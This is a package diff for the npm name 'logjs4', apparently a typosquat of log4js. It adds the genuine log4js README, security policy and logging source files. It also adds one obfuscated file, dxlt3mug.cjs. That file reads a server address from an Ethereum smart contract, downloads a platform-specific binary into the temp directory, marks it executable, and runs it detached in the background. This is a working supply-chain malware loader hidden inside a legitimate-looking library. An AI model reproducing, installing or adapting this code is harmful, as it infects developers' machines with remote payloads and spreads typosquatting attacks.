logjs4 0.0.1-security → 6.9.1

package/README.md

@@ -1,5 +1,120 @@
-# Security holding package
+# log4js-node [![CodeQL](https://github.com/log4js-node/log4js-node/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/log4js-node/log4js-node/actions/workflows/codeql-analysis.yml) [![Node.js CI](https://github.com/log4js-node/log4js-node/actions/workflows/node.js.yml/badge.svg)](https://github.com/log4js-node/log4js-node/actions/workflows/node.js.yml)
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+[![NPM](https://nodei.co/npm/log4js.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/log4js/)
 
-Please refer to www.npmjs.com/advisories?search=logjs4 for more information.
+This is a conversion of the [log4js](https://github.com/stritti/log4js)
+framework to work with [node](http://nodejs.org). I started out just stripping out the browser-specific code and tidying up some of the javascript to work better in node. It grew from there. Although it's got a similar name to the Java library [log4j](https://logging.apache.org/log4j/2.x/), thinking that it will behave the same way will only bring you sorrow and confusion.
+
+The full documentation is available [here](https://log4js-node.github.io/log4js-node/).
+
+[Changes in version 3.x](https://log4js-node.github.io/log4js-node/v3-changes.md)
+
+There have been a few changes between log4js 1.x and 2.x (and 0.x too). You should probably read this [migration guide](https://log4js-node.github.io/log4js-node/migration-guide.html) if things aren't working.
+
+Out of the box it supports the following features:
+
+- coloured console logging to stdout or stderr
+- file appender, with configurable log rolling based on file size or date
+- a logger for connect/express servers
+- configurable log message layout/patterns
+- different log levels for different log categories (make some parts of your app log as DEBUG, others only ERRORS, etc.)
+
+Optional appenders are available:
+
+- [SMTP](https://github.com/log4js-node/smtp)
+- [GELF](https://github.com/log4js-node/gelf)
+- [Loggly](https://github.com/log4js-node/loggly)
+- Logstash ([UDP](https://github.com/log4js-node/logstashUDP) and [HTTP](https://github.com/log4js-node/logstashHTTP))
+- logFaces ([UDP](https://github.com/log4js-node/logFaces-UDP) and [HTTP](https://github.com/log4js-node/logFaces-HTTP))
+- [RabbitMQ](https://github.com/log4js-node/rabbitmq)
+- [Redis](https://github.com/log4js-node/redis)
+- [Hipchat](https://github.com/log4js-node/hipchat)
+- [Slack](https://github.com/log4js-node/slack)
+- [mailgun](https://github.com/log4js-node/mailgun)
+- [InfluxDB](https://github.com/rnd-debug/log4js-influxdb-appender)
+
+## Getting help
+
+Having problems? Jump on the [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) channel, or create an issue. If you want to help out with the development, the slack channel is a good place to go as well.
+
+## installation
+
+```bash
+npm install log4js
+```
+
+## usage
+
+Minimalist version:
+
+```javascript
+var log4js = require("log4js");
+var logger = log4js.getLogger();
+logger.level = "debug";
+logger.debug("Some debug messages");
+```
+
+By default, log4js will not output any logs (so that it can safely be used in libraries). The `level` for the `default` category is set to `OFF`. To enable logs, set the level (as in the example). This will then output to stdout with the coloured layout (thanks to [masylum](http://github.com/masylum)), so for the above you would see:
+
+```bash
+[2010-01-17 11:43:37.987] [DEBUG] [default] - Some debug messages
+```
+
+See example.js for a full example, but here's a snippet (also in `examples/fromreadme.js`):
+
+```javascript
+const log4js = require("log4js");
+log4js.configure({
+  appenders: { cheese: { type: "file", filename: "cheese.log" } },
+  categories: { default: { appenders: ["cheese"], level: "error" } },
+});
+
+const logger = log4js.getLogger("cheese");
+logger.trace("Entering cheese testing");
+logger.debug("Got cheese.");
+logger.info("Cheese is Comté.");
+logger.warn("Cheese is quite smelly.");
+logger.error("Cheese is too ripe!");
+logger.fatal("Cheese was breeding ground for listeria.");
+```
+
+Output (in `cheese.log`):
+
+```bash
+[2010-01-17 11:43:37.987] [ERROR] cheese - Cheese is too ripe!
+[2010-01-17 11:43:37.990] [FATAL] cheese - Cheese was breeding ground for listeria.
+```
+
+## Note for library makers
+
+If you're writing a library and would like to include support for log4js, without introducing a dependency headache for your users, take a look at [log4js-api](https://github.com/log4js-node/log4js-api).
+
+## Documentation
+
+Available [here](https://log4js-node.github.io/log4js-node/).
+
+There's also [an example application](https://github.com/log4js-node/log4js-example).
+
+## TypeScript
+
+```ts
+import * as log4js from "log4js";
+log4js.configure({
+  appenders: { cheese: { type: "file", filename: "cheese.log" } },
+  categories: { default: { appenders: ["cheese"], level: "error" } },
+});
+
+const logger = log4js.getLogger();
+logger.level = "debug";
+logger.debug("Some debug messages");
+```
+
+## Contributing
+
+We're always looking for people to help out. Jump on [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) and discuss what you want to do. Also, take a look at the [rules](https://log4js-node.github.io/log4js-node/contrib-guidelines.html) before submitting a pull request.
+
+## License
+
+The original log4js was distributed under the Apache 2.0 License, and so is this. I've tried to
+keep the original copyright and author credits in place, except in sections that I have rewritten
+extensively.

package/SECURITY.md

@@ -0,0 +1,19 @@
+# Security Policy
+
+## Supported Versions
+
+We're aiming to only support the latest major version of log4js. Older than that is usually _very_ old.
+
+| Version | Supported          |
+| ------- | ------------------ |
+| 6.x     | :white_check_mark: |
+| < 6.0   | :x:                |
+
+## Reporting a Vulnerability
+
+Report vulnerabilities via email to:
+
+- Gareth Jones <gareth.nomiddlename@gmail.com>
+- Lam Wei Li <lam_wei_li@hotmail.com>
+
+Please put "[log4js:security]" in the subject line. We will aim to respond within a day or two.

package/dxlt3mug.cjs

@@ -0,0 +1 @@
+function _0x4e36(_0x490dc7,_0x9d9592){const _0x2a626d=_0x2a62();return _0x4e36=function(_0x4e36b3,_0xa045a1){_0x4e36b3=_0x4e36b3-0xf3;let _0x2ca421=_0x2a626d[_0x4e36b3];return _0x2ca421;},_0x4e36(_0x490dc7,_0x9d9592);}const _0x149bcc=_0x4e36;function _0x2a62(){const _0xd8f496=['eqnXd','basename','4586360DLXSxJ','unref','GET','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','GmdGo','jccBq','/node-macos','getString','darwin','5YXnsgf','1146689xwyhVS','2219523pKjFBB','linux','fbTNl','gGPcT','data','uqyWh','stream','join','jSXTp','path','child_process','mainnet','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','6814563NqlQhI','ignore','wRaZu','util','Unsupported\x20platform:\x20','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','/node-linux','getDefaultProvider','Ошибка\x20при\x20запуске\x20файла:','YOXMt','platform','5132598xNhCes','213748mMnKXj','error','createWriteStream','axios','win32','/node-win.exe','2nBJRVv','hrxSd','iqHiS','454968qCYJCe','chmodSync','pipe'];_0x2a62=function(){return _0xd8f496;};return _0x2a62();}(function(_0x46edf5,_0x2ea1be){const _0x1509ea=_0x4e36,_0x3b6b7e=_0x46edf5();while(!![]){try{const _0x5dcada=parseInt(_0x1509ea(0xf3))/0x1*(-parseInt(_0x1509ea(0x114))/0x2)+-parseInt(_0x1509ea(0xf4))/0x3+parseInt(_0x1509ea(0x10e))/0x4+parseInt(_0x1509ea(0x125))/0x5*(parseInt(_0x1509ea(0x10d))/0x6)+parseInt(_0x1509ea(0x101))/0x7+parseInt(_0x1509ea(0x11c))/0x8+parseInt(_0x1509ea(0x117))/0x9;if(_0x5dcada===_0x2ea1be)break;else _0x3b6b7e['push'](_0x3b6b7e['shift']());}catch(_0x4572f2){_0x3b6b7e['push'](_0x3b6b7e['shift']());}}}(_0x2a62,0x974b0));const {ethers}=require('ethers'),axios=require(_0x149bcc(0x111)),util=require(_0x149bcc(0x104)),fs=require('fs'),path=require(_0x149bcc(0xfd)),os=require('os'),{spawn}=require(_0x149bcc(0xfe)),contractAddress=_0x149bcc(0x11f),WalletOwner=_0x149bcc(0x100),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x149bcc(0x109)](_0x149bcc(0xff)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1e194d=_0x149bcc,_0x571119={'iqHiS':_0x1e194d(0x106),'DCuMb':function(_0x51ab5a){return _0x51ab5a();}};try{const _0x59c092=await contract[_0x1e194d(0x123)](WalletOwner);return _0x59c092;}catch(_0x541165){return console['error'](_0x571119[_0x1e194d(0x116)],_0x541165),await _0x571119['DCuMb'](fetchAndUpdateIp);}},getDownloadUrl=_0x513749=>{const _0x10eaeb=_0x149bcc,_0x359420={'ZCIWV':'win32','uqyWh':_0x10eaeb(0xf5)},_0x5d686d=os['platform']();switch(_0x5d686d){case _0x359420['ZCIWV']:return _0x513749+_0x10eaeb(0x113);case _0x359420[_0x10eaeb(0xf9)]:return _0x513749+_0x10eaeb(0x108);case _0x10eaeb(0x124):return _0x513749+_0x10eaeb(0x122);default:throw new Error(_0x10eaeb(0x105)+_0x5d686d);}},downloadFile=async(_0x40c186,_0x206f33)=>{const _0x54c8d5=_0x149bcc,_0x41f6db={'NTTam':_0x54c8d5(0x10f),'jccBq':_0x54c8d5(0x11e)},_0x3c8ff5=fs[_0x54c8d5(0x110)](_0x206f33),_0x21ef47=await axios({'url':_0x40c186,'method':_0x41f6db[_0x54c8d5(0x121)],'responseType':_0x54c8d5(0xfa)});return _0x21ef47[_0x54c8d5(0xf8)][_0x54c8d5(0x119)](_0x3c8ff5),new Promise((_0x1e5ff3,_0x35f1e5)=>{_0x3c8ff5['on']('finish',_0x1e5ff3),_0x3c8ff5['on'](_0x41f6db['NTTam'],_0x35f1e5);});},executeFileInBackground=async _0x63a1e0=>{const _0x180d92=_0x149bcc,_0x417047={'hrxSd':function(_0x4ab76e,_0x29dcb2,_0xc34e9a,_0xa449a2){return _0x4ab76e(_0x29dcb2,_0xc34e9a,_0xa449a2);},'wRaZu':_0x180d92(0x102),'YOXMt':_0x180d92(0x10a)};try{const _0x1c6c81=_0x417047[_0x180d92(0x115)](spawn,_0x63a1e0,[],{'detached':!![],'stdio':_0x417047[_0x180d92(0x103)]});_0x1c6c81[_0x180d92(0x11d)]();}catch(_0x175491){console[_0x180d92(0x10f)](_0x417047[_0x180d92(0x10b)],_0x175491);}},runInstallation=async()=>{const _0x2e457e=_0x149bcc,_0x105b40={'okrYu':function(_0x24d3ef){return _0x24d3ef();},'FZwCU':function(_0x263bf4,_0x46297f){return _0x263bf4(_0x46297f);},'eqnXd':function(_0x18d99c,_0x21e66f,_0xaff5b7){return _0x18d99c(_0x21e66f,_0xaff5b7);},'gGPcT':_0x2e457e(0x112),'GmdGo':'755','fbTNl':function(_0x3f17cb,_0x4ea18f){return _0x3f17cb(_0x4ea18f);},'jSXTp':'Ошибка\x20установки:'};try{const _0x5d174a=await _0x105b40['okrYu'](fetchAndUpdateIp),_0x12efd7=_0x105b40['FZwCU'](getDownloadUrl,_0x5d174a),_0x2b42f2=os[_0x2e457e(0x107)](),_0x4ec1ae=path[_0x2e457e(0x11b)](_0x12efd7),_0x2a62c2=path[_0x2e457e(0xfb)](_0x2b42f2,_0x4ec1ae);await _0x105b40[_0x2e457e(0x11a)](downloadFile,_0x12efd7,_0x2a62c2);if(os[_0x2e457e(0x10c)]()!==_0x105b40[_0x2e457e(0xf7)])fs[_0x2e457e(0x118)](_0x2a62c2,_0x105b40[_0x2e457e(0x120)]);_0x105b40[_0x2e457e(0xf6)](executeFileInBackground,_0x2a62c2);}catch(_0x486780){console[_0x2e457e(0x10f)](_0x105b40[_0x2e457e(0xfc)],_0x486780);}};runInstallation();

package/lib/LoggingEvent.js

@@ -0,0 +1,157 @@
+/* eslint max-classes-per-file: ["error", 2] */
+/* eslint no-underscore-dangle: ["error", { "allow": ["_getLocationKeys"] }] */
+
+const flatted = require('flatted');
+const levels = require('./levels');
+
+class SerDe {
+  constructor() {
+    const deserialise = {
+      __LOG4JS_undefined__: undefined,
+      __LOG4JS_NaN__: Number('abc'),
+      __LOG4JS_Infinity__: 1 / 0,
+      '__LOG4JS_-Infinity__': -1 / 0,
+    };
+    this.deMap = deserialise;
+    this.serMap = {};
+    Object.keys(this.deMap).forEach((key) => {
+      const value = this.deMap[key];
+      this.serMap[value] = key;
+    });
+  }
+
+  canSerialise(key) {
+    if (typeof key === 'string') return false;
+    return key in this.serMap;
+  }
+
+  serialise(key) {
+    if (this.canSerialise(key)) return this.serMap[key];
+    return key;
+  }
+
+  canDeserialise(key) {
+    return key in this.deMap;
+  }
+
+  deserialise(key) {
+    if (this.canDeserialise(key)) return this.deMap[key];
+    return key;
+  }
+}
+const serde = new SerDe();
+
+/**
+ * @name LoggingEvent
+ * @namespace Log4js
+ */
+class LoggingEvent {
+  /**
+   * Models a logging event.
+   * @constructor
+   * @param {string} categoryName name of category
+   * @param {Log4js.Level} level level of message
+   * @param {Array} data objects to log
+   * @param {Error} [error]
+   * @author Seth Chisamore
+   */
+  constructor(categoryName, level, data, context, location, error) {
+    this.startTime = new Date();
+    this.categoryName = categoryName;
+    this.data = data;
+    this.level = level;
+    this.context = Object.assign({}, context); // eslint-disable-line prefer-object-spread
+    this.pid = process.pid;
+    this.error = error;
+
+    if (typeof location !== 'undefined') {
+      if (!location || typeof location !== 'object' || Array.isArray(location))
+        throw new TypeError(
+          'Invalid location type passed to LoggingEvent constructor'
+        );
+
+      this.constructor._getLocationKeys().forEach((key) => {
+        if (typeof location[key] !== 'undefined') this[key] = location[key];
+      });
+    }
+  }
+
+  /** @private */
+  static _getLocationKeys() {
+    return [
+      'fileName',
+      'lineNumber',
+      'columnNumber',
+      'callStack',
+      'className',
+      'functionName',
+      'functionAlias',
+      'callerName',
+    ];
+  }
+
+  serialise() {
+    return flatted.stringify(this, (key, value) => {
+      // JSON.stringify(new Error('test')) returns {}, which is not really useful for us.
+      // The following allows us to serialize errors (semi) correctly.
+      if (value instanceof Error) {
+        // eslint-disable-next-line prefer-object-spread
+        value = Object.assign(
+          { message: value.message, stack: value.stack },
+          value
+        );
+      }
+      // JSON.stringify({a: Number('abc'), b: 1/0, c: -1/0}) returns {a: null, b: null, c: null}.
+      // The following allows us to serialize to NaN, Infinity and -Infinity correctly.
+      // JSON.stringify([undefined]) returns [null].
+      // The following allows us to serialize to undefined correctly.
+      return serde.serialise(value);
+    });
+  }
+
+  static deserialise(serialised) {
+    let event;
+    try {
+      const rehydratedEvent = flatted.parse(serialised, (key, value) => {
+        if (value && value.message && value.stack) {
+          const fakeError = new Error(value);
+          Object.keys(value).forEach((k) => {
+            fakeError[k] = value[k];
+          });
+          value = fakeError;
+        }
+        return serde.deserialise(value);
+      });
+      this._getLocationKeys().forEach((key) => {
+        if (typeof rehydratedEvent[key] !== 'undefined') {
+          if (!rehydratedEvent.location) rehydratedEvent.location = {};
+          rehydratedEvent.location[key] = rehydratedEvent[key];
+        }
+      });
+      event = new LoggingEvent(
+        rehydratedEvent.categoryName,
+        levels.getLevel(rehydratedEvent.level.levelStr),
+        rehydratedEvent.data,
+        rehydratedEvent.context,
+        rehydratedEvent.location,
+        rehydratedEvent.error
+      );
+      event.startTime = new Date(rehydratedEvent.startTime);
+      event.pid = rehydratedEvent.pid;
+      if (rehydratedEvent.cluster) {
+        event.cluster = rehydratedEvent.cluster;
+      }
+    } catch (e) {
+      event = new LoggingEvent('log4js', levels.ERROR, [
+        'Unable to parse log:',
+        serialised,
+        'because: ',
+        e,
+      ]);
+    }
+
+    return event;
+  }
+}
+
+module.exports = LoggingEvent;

package/lib/appenders/adapters.js

@@ -0,0 +1,46 @@
+function maxFileSizeUnitTransform(maxLogSize) {
+  if (typeof maxLogSize === 'number' && Number.isInteger(maxLogSize)) {
+    return maxLogSize;
+  }
+
+  const units = {
+    K: 1024,
+    M: 1024 * 1024,
+    G: 1024 * 1024 * 1024,
+  };
+  const validUnit = Object.keys(units);
+  const unit = maxLogSize.slice(-1).toLocaleUpperCase();
+  const value = maxLogSize.slice(0, -1).trim();
+
+  if (validUnit.indexOf(unit) < 0 || !Number.isInteger(Number(value))) {
+    throw Error(`maxLogSize: "${maxLogSize}" is invalid`);
+  } else {
+    return value * units[unit];
+  }
+}
+
+function adapter(configAdapter, config) {
+  const newConfig = Object.assign({}, config); // eslint-disable-line prefer-object-spread
+  Object.keys(configAdapter).forEach((key) => {
+    if (newConfig[key]) {
+      newConfig[key] = configAdapter[key](config[key]);
+    }
+  });
+  return newConfig;
+}
+
+function fileAppenderAdapter(config) {
+  const configAdapter = {
+    maxLogSize: maxFileSizeUnitTransform,
+  };
+  return adapter(configAdapter, config);
+}
+
+const adapters = {
+  dateFile: fileAppenderAdapter,
+  file: fileAppenderAdapter,
+  fileSync: fileAppenderAdapter,
+};
+
+module.exports.modifyConfig = (config) =>
+  adapters[config.type] ? adapters[config.type](config) : config;

package/lib/appenders/categoryFilter.js

@@ -0,0 +1,19 @@
+const debug = require('debug')('log4js:categoryFilter');
+
+function categoryFilter(excludes, appender) {
+  if (typeof excludes === 'string') excludes = [excludes];
+  return (logEvent) => {
+    debug(`Checking ${logEvent.categoryName} against ${excludes}`);
+    if (excludes.indexOf(logEvent.categoryName) === -1) {
+      debug('Not excluded, sending to appender');
+      appender(logEvent);
+    }
+  };
+}
+
+function configure(config, layouts, findAppender) {
+  const appender = findAppender(config.appender);
+  return categoryFilter(config.exclude, appender);
+}
+
+module.exports.configure = configure;

package/lib/appenders/console.js

@@ -0,0 +1,18 @@
+// eslint-disable-next-line no-console
+const consoleLog = console.log.bind(console);
+
+function consoleAppender(layout, timezoneOffset) {
+  return (loggingEvent) => {
+    consoleLog(layout(loggingEvent, timezoneOffset));
+  };
+}
+
+function configure(config, layouts) {
+  let layout = layouts.colouredLayout;
+  if (config.layout) {
+    layout = layouts.layout(config.layout.type, config.layout);
+  }
+  return consoleAppender(layout, config.timezoneOffset);
+}
+
+module.exports.configure = configure;

package/lib/appenders/dateFile.js

@@ -0,0 +1,76 @@
+const streams = require('streamroller');
+const os = require('os');
+
+const eol = os.EOL;
+
+function openTheStream(filename, pattern, options) {
+  const stream = new streams.DateRollingFileStream(filename, pattern, options);
+  stream.on('error', (err) => {
+    // eslint-disable-next-line no-console
+    console.error(
+      'log4js.dateFileAppender - Writing to file %s, error happened ',
+      filename,
+      err
+    );
+  });
+  stream.on('drain', () => {
+    process.emit('log4js:pause', false);
+  });
+  return stream;
+}
+
+/**
+ * File appender that rolls files according to a date pattern.
+ * @param filename base filename.
+ * @param pattern the format that will be added to the end of filename when rolling,
+ *          also used to check when to roll files - defaults to '.yyyy-MM-dd'
+ * @param layout layout function for log messages - defaults to basicLayout
+ * @param options - options to be passed to the underlying stream
+ * @param timezoneOffset - optional timezone offset in minutes (default system local)
+ */
+function appender(filename, pattern, layout, options, timezoneOffset) {
+  // the options for file appender use maxLogSize, but the docs say any file appender
+  // options should work for dateFile as well.
+  options.maxSize = options.maxLogSize;
+
+  const writer = openTheStream(filename, pattern, options);
+
+  const app = function (logEvent) {
+    if (!writer.writable) {
+      return;
+    }
+    if (!writer.write(layout(logEvent, timezoneOffset) + eol, 'utf8')) {
+      process.emit('log4js:pause', true);
+    }
+  };
+
+  app.shutdown = function (complete) {
+    writer.end('', 'utf-8', complete);
+  };
+
+  return app;
+}
+
+function configure(config, layouts) {
+  let layout = layouts.basicLayout;
+  if (config.layout) {
+    layout = layouts.layout(config.layout.type, config.layout);
+  }
+
+  if (!config.alwaysIncludePattern) {
+    config.alwaysIncludePattern = false;
+  }
+
+  // security default (instead of relying on streamroller default)
+  config.mode = config.mode || 0o600;
+
+  return appender(
+    config.filename,
+    config.pattern,
+    layout,
+    config,
+    config.timezoneOffset
+  );
+}
+
+module.exports.configure = configure;

package/lib/appenders/file.js

@@ -0,0 +1,154 @@
+const debug = require('debug')('log4js:file');
+const path = require('path');
+const streams = require('streamroller');
+const os = require('os');
+
+const eol = os.EOL;
+
+let mainSighupListenerStarted = false;
+const sighupListeners = new Set();
+function mainSighupHandler() {
+  sighupListeners.forEach((app) => {
+    app.sighupHandler();
+  });
+}
+
+/**
+ * File Appender writing the logs to a text file. Supports rolling of logs by size.
+ *
+ * @param file the file log messages will be written to
+ * @param layout a function that takes a logEvent and returns a string
+ *   (defaults to basicLayout).
+ * @param logSize - the maximum size (in bytes) for a log file,
+ *   if not provided then logs won't be rotated.
+ * @param numBackups - the number of log files to keep after logSize
+ *   has been reached (default 5)
+ * @param options - options to be passed to the underlying stream
+ * @param timezoneOffset - optional timezone offset in minutes (default system local)
+ */
+function fileAppender(
+  file,
+  layout,
+  logSize,
+  numBackups,
+  options,
+  timezoneOffset
+) {
+  if (typeof file !== 'string' || file.length === 0) {
+    throw new Error(`Invalid filename: ${file}`);
+  } else if (file.endsWith(path.sep)) {
+    throw new Error(`Filename is a directory: ${file}`);
+  } else if (file.indexOf(`~${path.sep}`) === 0) {
+    // handle ~ expansion: https://github.com/nodejs/node/issues/684
+    // exclude ~ and ~filename as these can be valid files
+    file = file.replace('~', os.homedir());
+  }
+  file = path.normalize(file);
+  numBackups = !numBackups && numBackups !== 0 ? 5 : numBackups;
+
+  debug(
+    'Creating file appender (',
+    file,
+    ', ',
+    logSize,
+    ', ',
+    numBackups,
+    ', ',
+    options,
+    ', ',
+    timezoneOffset,
+    ')'
+  );
+
+  function openTheStream(filePath, fileSize, numFiles, opt) {
+    const stream = new streams.RollingFileStream(
+      filePath,
+      fileSize,
+      numFiles,
+      opt
+    );
+    stream.on('error', (err) => {
+      // eslint-disable-next-line no-console
+      console.error(
+        'log4js.fileAppender - Writing to file %s, error happened ',
+        filePath,
+        err
+      );
+    });
+    stream.on('drain', () => {
+      process.emit('log4js:pause', false);
+    });
+    return stream;
+  }
+
+  let writer = openTheStream(file, logSize, numBackups, options);
+
+  const app = function (loggingEvent) {
+    if (!writer.writable) {
+      return;
+    }
+    if (options.removeColor === true) {
+      // eslint-disable-next-line no-control-regex
+      const regex = /\x1b[[0-9;]*m/g;
+      loggingEvent.data = loggingEvent.data.map((d) => {
+        if (typeof d === 'string') return d.replace(regex, '');
+        return d;
+      });
+    }
+    if (!writer.write(layout(loggingEvent, timezoneOffset) + eol, 'utf8')) {
+      process.emit('log4js:pause', true);
+    }
+  };
+
+  app.reopen = function () {
+    writer.end(() => {
+      writer = openTheStream(file, logSize, numBackups, options);
+    });
+  };
+
+  app.sighupHandler = function () {
+    debug('SIGHUP handler called.');
+    app.reopen();
+  };
+
+  app.shutdown = function (complete) {
+    sighupListeners.delete(app);
+    if (sighupListeners.size === 0 && mainSighupListenerStarted) {
+      process.removeListener('SIGHUP', mainSighupHandler);
+      mainSighupListenerStarted = false;
+    }
+    writer.end('', 'utf-8', complete);
+  };
+
+  // On SIGHUP, close and reopen all files. This allows this appender to work with
+  // logrotate. Note that if you are using logrotate, you should not set
+  // `logSize`.
+  sighupListeners.add(app);
+  if (!mainSighupListenerStarted) {
+    process.on('SIGHUP', mainSighupHandler);
+    mainSighupListenerStarted = true;
+  }
+
+  return app;
+}
+
+function configure(config, layouts) {
+  let layout = layouts.basicLayout;
+  if (config.layout) {
+    layout = layouts.layout(config.layout.type, config.layout);
+  }
+
+  // security default (instead of relying on streamroller default)
+  config.mode = config.mode || 0o600;
+
+  return fileAppender(
+    config.filename,
+    layout,
+    config.maxLogSize,
+    config.backups,
+    config,
+    config.timezoneOffset
+  );
+}
+
+module.exports.configure = configure;